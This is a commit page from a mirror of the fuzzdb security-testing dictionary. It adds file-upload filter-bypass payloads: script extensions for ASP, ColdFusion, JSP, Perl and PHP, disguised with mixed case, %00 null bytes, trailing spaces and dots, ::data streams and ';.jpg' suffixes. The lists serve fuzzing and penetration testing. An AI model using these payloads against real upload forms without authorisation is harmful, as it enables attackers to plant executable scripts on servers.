Mirrors/fuzzdb
2
0
Fork 0
mirror of https://github.com/fuzzdb-project/fuzzdb.git synced 2025-02-17 00:38:24 +00:00
Code Issues Projects Releases Packages Wiki Activity

updated all file upload filter bypass payload files with various %00 %20 . based evasion patterns

Browse source
This commit is contained in:
unix23 2010-05-06 22:41:33 +00:00
parent 7d2cd31403
commit f034bc6a42
7 changed files with 197 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

6
attack-payloads/file-upload/alt-extensions-asp.txt
View file

@ -22,3 +22,9 @@ asa%20%20%20...%20.%20..
aSP%20%20%20...%20.%20.. aSP%20%20%20...%20.%20..
aSpx%20%20%20...%20.%20.. aSpx%20%20%20...%20.%20..
aSa%20%20%20...%20.%20.. aSa%20%20%20...%20.%20..
asp%00
aspx%00
asa%00
aSp%00
aSpx%00
aSa%00

36
attack-payloads/file-upload/alt-extensions-coldfusion.txt
View file

@ -2,3 +2,39 @@ cfm
cfml cfml
cfc cfc
dbm dbm
cFm
cFml
cFc
dBm
cfm%20%20%20
cfml%20%20%20
cfc%20%20%20
dbm%20%20%20
cFm%20%20%20
cFml%20%20%20
cFc%20%20%20
dBm%20%20%20
cfm......
cfml......
cfc.......
dbm......
cFm......
cFml......
cFc......
dBm......
cfm%20%20%20...%20.%20..
cfml%20%20%20...%20.%20..
cfc%20%20%20...%20.%20..
dbm%20%20%20...%20.%20..
cFm%20%20%20...%20.%20..
cFml%20%20%20...%20.%20..
cFc%20%20%20...%20.%20..
dBm%20%20%20...%20.%20..
cfm%00
cfml%00
cfc%00
dbm%00
cFm%00
cFml%00
cFc%00
dBm%00

45
attack-payloads/file-upload/alt-extensions-jsp.txt
View file

@ -3,3 +3,48 @@ jspx
jsw jsw
jsv jsv
jspf jspf
jSp
jSpx
jSw
jSv
jSpf
jSp%00
jSp%20%20%20
jSp%20%20%20...%20.%20..a
jSp......
jSpf%00
jSpf%20%20%20
jSpf%20%20%20...%20.%20..a
jSpf......
jSpx%00
jSpx%20%20%20
jSpx%20%20%20...%20.%20..a
jSpx......
jSv%00
jSv%20%20%20
jSv%20%20%20...%20.%20..a
jSv......
jSw%00
jSw%20%20%20
jSw%20%20%20...%20.%20..a
jSw......
jsp%00
jsp%20%20%20
jsp%20%20%20...%20.%20..a
jsp......
jspf%00
jspf%20%20%20
jspf%20%20%20...%20.%20..a
jspf......
jspx%00
jspx%20%20%20
jspx%20%20%20...%20.%20..a
jspx......
jsv%00
jsv%20%20%20
jsv%20%20%20...%20.%20..a
jsv......
jsw%00
jsw%20%20%20
jsw%20%20%20...%20.%20..a
jsw......

28
attack-payloads/file-upload/alt-extensions-perl.txt
View file

@ -2,4 +2,32 @@
pl pl
pm pm
cgi cgi
pL
pM
cGi
lib lib
lIb
cGi%00
cGi%20%20%20
cGi......
cgi%00
cgi%20%20%20
cgi......
lIb%00
lIb%20%20%20
lIb......
lib%00
lib%20%20%20
lib......
pL%00
pL%20%20%20
pL......
pM%00
pM%20%20%20
pM......
pl%00
pl%20%20%20
pl......
pm%00
pm%20%20%20
pm......

54
attack-payloads/file-upload/alt-extensions-php.txt
View file

@ -4,3 +4,57 @@ php3
php4 php4
php5 php5
inc inc
pHtml
pHp
pHp3
pHp4
pHp5
iNc
iNc%00
iNc%20%20%20
iNc%20%20%20...%20.%20..
iNc......
inc%00
inc%20%20%20
inc%20%20%20...%20.%20..
inc......
pHp%00
pHp%20%20%20
pHp%20%20%20...%20.%20..
pHp......
pHp3%00
pHp3%20%20%20
pHp3%20%20%20...%20.%20..
pHp3......
pHp4%00
pHp4%20%20%20
pHp4%20%20%20...%20.%20..
pHp4......
pHp5%00
pHp5%20%20%20
pHp5%20%20%20...%20.%20..
pHp5......
pHtml%00
pHtml%20%20%20
pHtml%20%20%20...%20.%20..
pHtml......
php%00
php%20%20%20
php%20%20%20...%20.%20..
php......
php3%00
php3%20%20%20
php3%20%20%20...%20.%20..
php3......
php4%00
php4%20%20%20
php4%20%20%20...%20.%20..
php4......
php5%00
php5%20%20%20
php5%20%20%20...%20.%20..
php5......
phtml%00
phtml%20%20%20
phtml%20%20%20...%20.%20..
phtml......

1
attack-payloads/file-upload/alt-extensions.credits.txt
View file

@ -1 +0,0 @@
by Joseph Giron

28
attack-payloads/file-upload/file-ul-filter-bypass-microsoft-asp.txt
View file

@ -22,6 +22,7 @@
{ASPSCRIPT}%00.zip {ASPSCRIPT}%00.zip
{ASPSCRIPT}%00.doc {ASPSCRIPT}%00.doc
{ASPSCRIPT}%00.docx {ASPSCRIPT}%00.docx
{ASPSCRIPT}%00
{ASPSCRIPT}::data%00.jpg {ASPSCRIPT}::data%00.jpg
{ASPSCRIPT}::data%00.pdf {ASPSCRIPT}::data%00.pdf
{ASPSCRIPT}::data%00.html {ASPSCRIPT}::data%00.html
@ -29,3 +30,30 @@
{ASPSCRIPT}::data%00.zip {ASPSCRIPT}::data%00.zip
{ASPSCRIPT}::data%00.doc {ASPSCRIPT}::data%00.doc
{ASPSCRIPT}::data%00.xls {ASPSCRIPT}::data%00.xls
{ASPSCRIPT}%00%20%20%20
{ASPSCRIPT}%00%20%20%20...%20.%20..
{ASPSCRIPT}%00......
{ASPSCRIPT}%20%20%20
{ASPSCRIPT}%20%20%20...%20.%20..
{ASPSCRIPT}......
{ASPSCRIPT}::data%00%%20%20%20
{ASPSCRIPT}::data%00%%20%20%20...%20.%20..
{ASPSCRIPT}::data%00%......
{ASPSCRIPT}%00%20%20%20;.jpg
{ASPSCRIPT}%00%20%20%20;.doc
{ASPSCRIPT}%00%20%20%20...%20.%20..;.jpg
{ASPSCRIPT}%00%20%20%20...%20.%20..;.doc
{ASPSCRIPT}%00......;.jpg
{ASPSCRIPT}%00......;.doc
{ASPSCRIPT}%20%20%20;.jpg
{ASPSCRIPT}%20%20%20;.doc
{ASPSCRIPT}%20%20%20...%20.%20..;.jpg
{ASPSCRIPT}%20%20%20...%20.%20..;.doc
{ASPSCRIPT}......;.jpg
{ASPSCRIPT}......;.doc
{ASPSCRIPT}::data%00%%20%20%20;.jpg
{ASPSCRIPT}::data%00%%20%20%20;.doc
{ASPSCRIPT}::data%00%%20%20%20...%20.%20..;.jpg
{ASPSCRIPT}::data%00%%20%20%20...%20.%20..;.doc
{ASPSCRIPT}::data%00%......;.jpg
{ASPSCRIPT}::data%00%......;.doc